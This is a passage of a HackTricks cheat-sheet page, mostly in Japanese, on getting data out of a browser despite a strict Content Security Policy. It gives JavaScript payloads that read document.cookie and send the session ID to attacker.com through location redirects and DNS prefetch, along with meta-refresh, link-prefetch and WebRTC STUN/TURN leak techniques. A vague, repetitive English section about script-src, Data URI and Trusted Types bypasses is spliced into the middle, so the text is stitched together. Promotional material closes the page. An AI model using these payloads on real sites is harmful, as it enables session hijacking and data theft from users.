この攻撃を実行する方法の詳細については、https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/を確認してください。

CSP Exfiltration Bypasses

外部サーバーとのやり取りを許可しない厳格なCSPがある場合、情報を外部に漏洩させるために常にできることがいくつかあります。

Location

単に場所を更新して、秘密情報を攻撃者のサーバーに送信することができます：

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

メタタグ

メタタグを注入することでリダイレクトすることができます（これは単なるリダイレクトであり、コンテンツは漏洩しません）。

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

ページを高速に読み込むために、ブラウザはホスト名をIPアドレスに事前解決し、後で使用するためにキャッシュします。
ブラウザにホスト名を事前解決するよう指示することができます: <link reol="dns-prefetch" href="something.com">

これを悪用して、DNSリクエストを介して機密情報を外部流出することができます。

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Content Security Policy (CSP) Bypass

Bypassing CSP using script-src

One way to bypass CSP is by exploiting the script-src directive. If the CSP policy allows scripts from a specific domain, an attacker can host a malicious script on that domain and execute it on the target website.

To bypass this protection, an attacker can host a malicious script on a whitelisted domain and then execute it on the target website.

Bypassing CSP using Data URI

Another way to bypass CSP is by using Data URI. By encoding the malicious script into a Data URI format, the attacker can embed the script directly into the HTML code of the target website, bypassing the CSP restrictions.

To bypass CSP using Data URI, the attacker can craft a Data URI payload containing the malicious script and inject it into the target website's HTML code.

Bypassing CSP using Trusted Types

If the target website implements Trusted Types as an additional security measure, an attacker can bypass CSP by exploiting vulnerabilities in the Trusted Types policy. By finding a way to bypass or disable Trusted Types, the attacker can execute malicious scripts on the target website, even if CSP is in place.

To bypass CSP using Trusted Types, the attacker needs to identify and exploit vulnerabilities in the Trusted Types implementation to execute arbitrary scripts on the target website.

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

サーバーがこれを回避するために、HTTPヘッダーを送信できます：

X-DNS-Prefetch-Control: off

{% hint style="info" %} ヘッドレスブラウザ（ボット）では、このテクニックは機能しないようです。 {% endhint %}

WebRTC

いくつかのページで、WebRTCはCSPのconnect-srcポリシーをチェックしないと読むことができます。

実際に、_DNSリクエスト_を使用して情報を_漏洩_させることができます。このコードをチェックしてください：

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

もう1つのオプション:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

CSPポリシーのオンラインチェック

• https://csp-evaluator.withgoogle.com/
• https://cspvalidator.org/

CSPを自動的に作成する

https://csper.io/docs/generating-content-security-policy

参考文献

• https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
• https://lcamtuf.coredump.cx/postxss/
• https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
• https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
• https://www.youtube.com/watch?v=MCyPuOWs3dg
• https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
• https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/

​

HackenProof Discord サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう！

ハッキングの洞察
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう

リアルタイムのハックニュース
リアルタイムのニュースと情報を通じて、ハッキングの世界を最新の状態で把握しましょう

最新の発表
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう

Discord に参加して、今日からトップハッカーと協力を始めましょう！

**htARTE (HackTricks AWS Red Team Expert)** でAWSハッキングをゼロからヒーローまで学びましょう！

HackTricksをサポートする他の方法:

• HackTricksで企業を宣伝したい、または HackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANS をチェックしてください！
• 公式PEASS＆HackTricksスワッグを手に入れる
• The PEASS Familyを発見し、独占的な NFTs のコレクションを見つける
• 💬 Discordグループ に参加するか、telegramグループ に参加するか、Twitter 🐦 @carlospolopm をフォローする
• HackTricks と HackTricks Cloud のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する